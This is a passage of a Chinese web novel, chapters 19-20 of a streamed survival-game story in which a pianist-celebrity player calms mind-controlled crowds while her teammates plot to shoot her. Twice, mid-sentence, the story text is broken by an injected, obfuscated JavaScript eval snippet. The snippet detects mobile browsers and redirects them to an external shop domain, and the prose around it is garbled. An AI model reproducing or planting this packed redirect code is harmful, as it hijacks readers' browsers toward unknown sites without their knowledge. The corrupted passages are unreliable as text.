睡到半夜，她以为是厘春琴回来，彻底清醒后，才意识到动静是从外面传来的。 走到窗边，只拉开了一角窗帘，接下来，她看到了一个绝对会记一辈子的画面。 密密麻麻的影潮吞没陆地楼房，人群席卷了平地，正以极其整齐的姿势爬向同一个方向。 与此同时，原本平静的弹幕不知因为什么炸了锅，弹幕版是共通的，如果不是她这边出了事的话，就是那三个久久未归的队友出事了： 【操，血差点喷我一脸】 【啊啊啊啊啊，不要砍我不要砍我】 【这个老板儿子一点也不傻啊，居然还会藏拙偷钱】 【什么老板儿子！我一直觉得他不对劲，果然是黑山鸟】 【头皮发麻了，偷了这么多钱，那个所谓的宾馆肯定也有鬼】 【等等，还有一个，有夏是不是还在里面啊】 最后一句简直毛骨悚然，穿好衣服飞速下楼，她尝试着，居然真的召出了主控板。 一直装死的主控板最终给出了她一条思路：【独自寻取目标】。 眼前就是密如潮水的人群，队友们也不知所踪，她叹口气，弹幕的视线终于回归到她这边了： 【该不会要吞并别人的积分吧，好恐怖】 【我就说她怎么一直不行动呢，原来是想坐收渔翁之利】 她恍若未察，继续问：“玩家加入人群会有危险吗？” 主控板的系统沉默几秒，最终没有阻止。 19. Chapter 19 眼见人真的加入了爬行大军，向来雷厉风行的主控板也沉默了。 奇葩年年有，今年特别多。 能让弹幕和主控板都沉默的玩家属实不多了……… 人群爬行的姿势整齐划一，也有人宛若木偶一般行走着，面上带着即将品尝到美食的向往神情。 只不过，上百人都是同样的神情动作的话，就很恐怖了。 没人吱声，整个场面像极了百鬼夜游。 混在其中走了一会，有夏终于找到了操控人群的来源，那是一阵低缓沉重的琴声。 虽然不知道是什么曲子，但每当琴声稍一停下，人们的眼中就会短暂地恢复一丝清明，琴声再响起，提线木偶们又继续前行。 走到一处拐角的时候，人群突然加速，有夏被挤在中间，这些家伙很快就达到了人类完全无法达到的速度，她差点喘不过气，只能边挪边挤，最终挤出了队伍。 四下打量，她最终躲进一栋居民楼的楼梯间里。 弹幕应该也被这一幕震惊了，没工夫笑她，而且另外三人那边的情况似乎更严重，弹幕的情绪已经由惊恐转变为激动： 【这次死的是谁呢？我还没见过C级副本里死人的】 【这个老板儿子就是黑山鸟，我就说他戏份怎么这么多】 【还是头部玩家会玩】 【天啊，这么快就开始争夺积分值了】 【死一个！死一个！】 “你不是说你能搞好吗？！”沈问洲被溅了满脸血，恶心得只想吐，方桥哆哆嗦嗦跑回来：“不，不，对了！我们还有道具，拿出来，快拿出来！” 困扰K市许久的黑山鸟居然是个傻子，说出来谁也不会信，沈问洲愤愤地抹掉脸上的血，再次上前夺走了装满钱的行李箱。 但别忘了，这不是现实世界，现在目标已经抓到，只要把这个傻子带到警方面前，他们都能出去了。 三人一鼓作气，再次对着傻男人打了过去，厘春琴则趁机搬走箱子，这应该就是他前不久抢银行得来的赃款。 这个C级任务看似弯绕，也不过只是采用了声东击西法小小地误导了他们一下而已。 “不要！不要！呜呜呜！”傻男人彻底崩溃了，方桥也被逼急了，干脆一把掐上他的脖子：“别装了！抢钱偷东西的时候你怎么就不哭？！” 这话一出，他心里还有点自豪，这个任务的主旨还是好的，偷窃有罪，惩恶扬善，想到还有弹幕在看，他心中的底气更足，“等着接受制裁吧你！” 男人呜呜咽咽，弹幕却都是叫好的，沈问洲恢复了点信心，一拳抡上去，傻男人惨叫一声，鼻血横飞，终于晕过去了。 【哇哇哇！这就完成啦】 【不知道怎么了，我突然也好想试一试进副本】 【怎么就三个人，那个‘笨蛋美人’呢】 【通关的话，她应该也能出去吧，但我不喜欢这种背景板跟着沾光的情节】 【一个明星而已，不要太高看她了】 三人信心满满，任务通关的主控板却迟迟没出现，商量一阵，众人决定先把傻男人拖出去。 公园不大，没一会就走到了门口，方桥已经有点急了，他的手机里有好几通未接电话，：“还不算完成吗？” 话音刚落，厘春琴就用手势阻止了他，示意看前方，四周的路灯坏了，借着微弱的月光，街道上的景物像笼了一层薄雾。 又听到了那阵低低的琴声。 “怎么又来……”声音戛然而止，反应过来，方桥立即惊恐地甩开肩上的傻男人，拍拍衣袖。 如果不是他弹的，那么那晚的钢琴声是哪来的？ 伴随着钢琴声越来越近的，是海啸般庞大的黑影，弹幕很快也发出了疑惑，紧接着，一条因为点赞数高而被加红的弹幕刺激到了每个人的眼球： 【我草，这些是有夏刚才见到的那些怪物吧？】 “不好！” 真正的逃杀才刚拉开序幕。 整个二楼都是乐器，这是有夏没想到的，远远看去，简直是一个小型的乐队练功场。 而在一堆弦乐管乐中最显眼的，就是那架看起来有点简陋陈旧的立式钢琴了。 高大，漆黑，显眼。 这会是有效信息吗？ 那道疑似操控行人的琴声还在继续，低低沉沉，她试探着按上琴键，确认过键位，指速由慢加快。 这个世界本就不是玩家眼中的‘合理世界’，或许用这种方式，真的可以让人群恢复正常呢？ 弹幕还在因为三人那边的动静起哄，她就在漫天的文字下，静静弹奏起一首古老的曲子。 一墙之外是群魔乱舞，墙内，女人只一身淡色风衣，长发低低扎在耳后，月华如练，衬得她眉如黛，眸如星。 即使周遭画面透露着一股杀气，墙柱繁多，像是随时都会有怪物冒出来，墙下黑影晃过，很让人不安，一些弹幕还是不由被这幅场景吸引了。 她像是这片荒地里绽出的第一抹春色，不疾不徐生长着。月色漫上琴身，狡猾地伏在琴键，再伺机包握住她的双手，与指尖旖旎缠绵，流泻出这世间最动听的圆舞曲。 【同音乐生，请问这是什么指法】 【啊啊啊，终于找到有夏了，居然进了个这么吓人的副本，差点以为她就要被怪物吞没了】 【前面的别走，找到组织】 【不吹不黑， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604714|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好听】 百分之八十的人之前都吐槽过她，这会出于嘴硬，没发话。 右下角的积分只用一首歌的时间就上涨了300多，她突然心想，自己要不要说点表示感谢的话。 比如‘欢迎新进来的家人’什么的。 一首弹完，墙下如行尸走肉般的人影果然停下了，此刻正如站着昏睡着了一般。 另一边，正在和黑影们苦斗的沈问洲三人也看到了弹幕，懊恼不已的同时，又不约而同生出另一个想法。 这个有夏，会不会是某个隐藏实力的超神玩家？ 毕竟这场游戏可不像看上去那么有序，时常会出现一些误导项。看不见的地方，多的是心眼算计。 而这些人是很低调的，绝不会在一开始就公布自己的实力，反而会先伪装自己，再一点一点地把团队功劳吃干抹净。 三人顶多是第二梯队的玩家，数量虽少，却也不是珍稀动物，隔壁副本里也有五六个，至于第一梯队的超神大佬………… 那才是真正的超级玩家，身经百战；想算计他们几个，顶多只要动多一根手指。 就在三人的心理防线快要崩塌时，人群毫无征兆地停了。 方桥大口大口喘着粗气，一拳打在半空中，猝然道：“停…………停了？” 与此同时，他们听见，原本怪异低沉的琴声停了，不知什么时候，被取代成了一阵舒缓的曲子。 沈问洲被人掐住脖子，正有一下没一下吐着血，受伤最重；厘春琴的脸色难看极了，看完弹幕，喃喃道：“那个女人，怎么回事…………” 如果她真是超神玩家，还要他们几个怎么活！ 方桥也快晕过去了，好歹脱了险，三人再顾不上仪态，带着生的渴望逃窜到树下。 副本里的时间格外快，看了眼手表，现在是凌晨四点。 进入副本已经四天，黑山鸟没抓到就算了，居然还被个戏子摆了一道，厘春琴黑着脸上厕所去了，方桥点起烟压惊，见沈问洲接过，赶紧悄声问：“沈哥，还要抓吗？” “怎么不抓？”吐出的烟雾散去，男人的脸带上肉眼可见的疲惫，撇他一眼，倏地苦笑：“那还有个道高一丈的，你想怎么抓？” 道高一丈………… 弹幕实时监控着一切，搞不好还会传递消息。方桥微微皱眉，两指夹烟，没人看得见的死角里，旁边的皮鞋快把他的鞋踢烂。 微胖的男人‘嘶’一声：“那就先解决大的？” 两点星火在夜色中宛若幽萤鬼火，互相对视，半晌，沈问洲重新露出笑容，吐出气，脚底磨灭烟头：“行。” 正在应弹幕请求弹第二首歌的有夏突然打了个喷嚏。 20. Chapter 20 “所以你也看到了？” 眼前的女人还是很怕，完全不敢挪动身子，最后还是有夏关上了门，确保那些怪物进不来，她才挪动脚步。 女人的长相偏柔美，二十五六出头，染着栗棕色的微卷长发，身周散发着好闻的淡淡幽香。 “哎呀，怎么弄的？”女人红着眼拿出纸巾，见有夏的额头不知什么时候破了，不禁柔声关心：“你擦擦吧，现在出不去，不要再感染了。” 她的妆容被泪水洗脱，显得整张脸更加清丽温柔，弹幕里，一些胆大的颜狗已经开始狂欢： 【舔屏舔屏舔屏】 【太美了，妈妈…………是一种感觉】 【好讽刺，那几个所谓的队友甚至不如一个生成的NPC】 【人美心善，这是什么天使】 【……】 有夏没来由地踌躇：“谢谢…………”她在圈子里见过的美人数不胜数，但能像眼前这个女人一样让人着迷的却没有几个。 像泡在冰淇淋里的巧克力一样，晕乎乎，甜滋滋的。 周围的恐怖场景在某一瞬间都变成了粉色泡泡。 女人坐下就开始弹琴，意外的是，她也猜出了街道上的诡异原因：“我觉得是那些琴声控制了他们，只要我们继续弹琴，应该就能控制住了。” 你们NPC丝毫不怕的吗？这还是无神论的社会吧？ 但有夏还是坐下了，女人显得有点苦恼，不知道该弹什么曲子，她便先放上手指。 指尖流动，一阵活泼俏皮的旋律跃然而出。 她没有再选择古典曲目，而是弹了一首流行曲，她早年收录在专辑中的一首歌，如果用外行的角度来说，就是一首甜到发齁的情歌。 外面的动静慢慢停了，摇摇晃晃的黑影就立在楼下。 “真好听。”女人像是听呆了，夸张地抱住双手抵住下巴：“我学了十几年，从来没听过这样的曲子。” 她没有专门进修过钢琴，弹到后面有点吃力，指尖发麻，这架钢琴的音色很好，弹幕很快又迎来了另一波彩虹屁。 当然，女人是看不到的，喃喃着夸赞许久，就在有夏弹完的时候，一个冰冷锋利的东西抵上了手腕。 她分出余光，那是一把在黑夜中都冒着寒光的尖刀，因为受力面积小，她的肌肤已经感到疼痛。 【！！！】 【妈呀妈呀，居然有反转】 【我的美女姐姐啊，你怎么是这种人】 【莫非这个才是‘黑山鸟’？我们都怎么了，为什么会下意识认为她是个男的】 弹幕热度还在疯狂飞涨，有夏搓了搓手，继续下指。 依旧是流行歌曲，依旧是炫技的手法，女人的表情慢慢又温柔变得怪异，眼球缩小到了一个不可能的程度，眼白铺满，甚是诡异。 她的表情说明了一切：她不相信还有人能把钢琴弹成这样，中途好几次，有夏都感到刀子的力度在加大。 她还在弹。 钢琴的音色太好了，好到让她想起一个冷笑话：他穿双几万块的鞋你叫他富哥，我弹十几万的钢琴，你却说我是卖艺的？！ - 三人回到宾馆的时候，弹幕已经出现了提示，方桥想起那个女人，先是震惊，继而不平道：“什么好事都让她占了，还有什么意思啊…………” 通常来说，B级以下的副本不会耗时太久，这次他们却呆了差不多五天，颜面扫地的同时，心中对有夏的怨恨就更深了。 明明她看起来总是好吃懒做，明明他们才是累死累活寻找线索的人！ 好在黑山鸟已经揭晓，一切也快结束了，他们已经做好了最坏的打算，抓住黑山鸟后，尽量不让她成为最大的受益者。 沈问洲看向弹幕的目光阴恻恻的，也在为流失大半的人气感到愤恨，这个世界和弹幕从来没有善良可言，大部分情况下，人们还是会选择观看更刺激的场景。 而他们三番五次抓错人，已经彻底沦为弹幕玩梗的对象。 “真拿这个？”方桥快吓出后遗症了，顾虑地摸摸手中的长枪，枪口黑若兽洞，正凝视着对面的人。 这几次试的错实在太多了，口嗨过后，他难免打起退堂鼓，把有夏杀了是小，再次引来那些怪物就死定了。 他只是个美食博主，不是杀手特工超人，不是什么事都敢义无反顾去做的。 这是系统提供的最后一把道具，据说能将同一站位的三个人爆头，必死无疑；沈问洲俨然成了三人中的主心骨，问：“另一个去哪了？” 厘春琴还不知道他们的计划：“应该在宾馆，也可能…………”她神色复杂地扫视周围：“已经出去了。” 天色愈加泛白，在方桥第四次询问‘真的要这样做吗’后，沈问洲的好胜心彻底被点燃了，率先疾步进了宾馆。 【来了来了】 【每个副本的必经之路：狗咬狗哈哈哈】 【我本来想上厕所，现在觉得还能再憋一会】 【沈问洲的面相就不是善茬，有点怕又好期待】 宾馆空无一人，他们最终将目光转到了那栋装满空调的大楼上，考虑到她一定还藏着别的道具，方桥一咬牙，还是给枪上了膛。 有夏终于弹完最后一首曲子，微笑着道：“所以这些乐器都是你买来的？但为什么一定要抢钱呢？” 对面，是一张狰狞得只剩眼白的脸，有夏继续站起来，拿起小提琴演奏起来，只不过其中一根弦早就断了，听上去有点怪异。 女人听着，手里的刀也开始颤抖，“都是因为那些智能产物…………” “断了你们的路？”有夏微微一笑，女人接着狠有力一颔首，讲起了自己的故事。 早在十六年以前，她也做过考上音乐学院的梦想，并且很出名，因为她不想做一个万人之上的钢琴家，更希望复兴那些在天灾中失传的音乐。 虽然听上去很不实际，周围也常有嘲笑的声音，但父母一直支持她，坚持让她用最好的设备。 但就在考试的前一天，她的手被人泡进了一口油锅里，当场皮开肉绽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617768|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来她才知道，她和朋友的名额被另一对兄妹顶替，他们是当地一个富翁的孩子，本来的成绩也不差，但总被她压一头， 那个兄妹中的女孩，就是如今在舞台上享受万人崇拜的边宁；至于男孩，考上后就把名额丢到了一边，整日坐着私人潜艇喝酒泡妞，只有考试的时候，才会去学校做做样子。 她非常愤恨，所幸保住了手，休养过后，就在网上抖出了这一事实。 群众的目光是正确的，这句话，她从小听到大。 没想到的是，迎接她的是数不清的谩骂，她以为是骂她捏造事实的，于是迫不及待想要放出早早整理好的证据，没想到朋友劝住了她。 那些谩骂完全不是她想象中的模样： 【物竞天择，为啥失败者总有借口】 【宁宁才出道一年就有所谓的黑料了，果然人红是非多啊，造谣者去死】 【笑死我了，感觉这人下一步就要直播带货了】 【人家一个大小姐，为啥要害你，她又不是没书读】 【好了好了，万一有反转呢，大家不要人云亦云】 【……】 这一刻，她忽然意识到，自己就像一条被修在马路上的火车轨道，极其突兀，最终只能被横冲直撞的车辆碾碎。 最后，她的父母也受到了威胁，家道一落千丈，因为担心女儿，二老最终在郁郁中死去，她迫于网上的压力，只能搬回资源落后的乡下老家居住。 这里没有人再愿意欣赏音乐，更不会有人支持她，她的梦想化为泡影。 而与此同时，冲击她命运轨道的边宁成功地签了公司，因为家境优越，进圈后可谓平步青云，发唱片，接广告，名利双收，风光无限。 一年后，边宁派人送来了一笔封口费，数额不小，接着警告她不要再惹事，她那时过得拮据，勉强同意，谁知就在人离开之后，网上又出现了她的谣言。 很快有人自称‘网络卫士’，找到了她的住址，她那时不在家，留在屋里看家的小狗被人投毒死去。 那天起，她彻底从轨道上摔了下来；成为‘黑山鸟’后的第一件事，就是秘密折磨死了边宁的哥哥，扔进他最常去的海域里。 听到这里，有夏的心已经开始发麻，弹幕的反应倒是照常一致，纷纷指责边宁一家丧尽天良。 也就在这时，有夏在一个隐蔽的角落里发现了晕过去的边宁。 “很好笑吧…………”女人又哭又笑，看向那个被五花大绑的女人，“还开演唱会…………我真后悔了，为什么没有等她上台后再杀了她。” 有夏冷漠地看过去，她对边宁的感情不深，如果这会死了，说不定还会触发什么意想不到的条件………… “咚咚咚！”楼下有人飞奔而上，把桌上的长笛都震掉了： “果然在这！” 是方桥的声音，他气喘吁吁，看到有夏的一瞬间就露出了怪笑。 答案就在眼前，沈问洲阻止的声音飘来，他想也没想，立即对准女人扳动机关。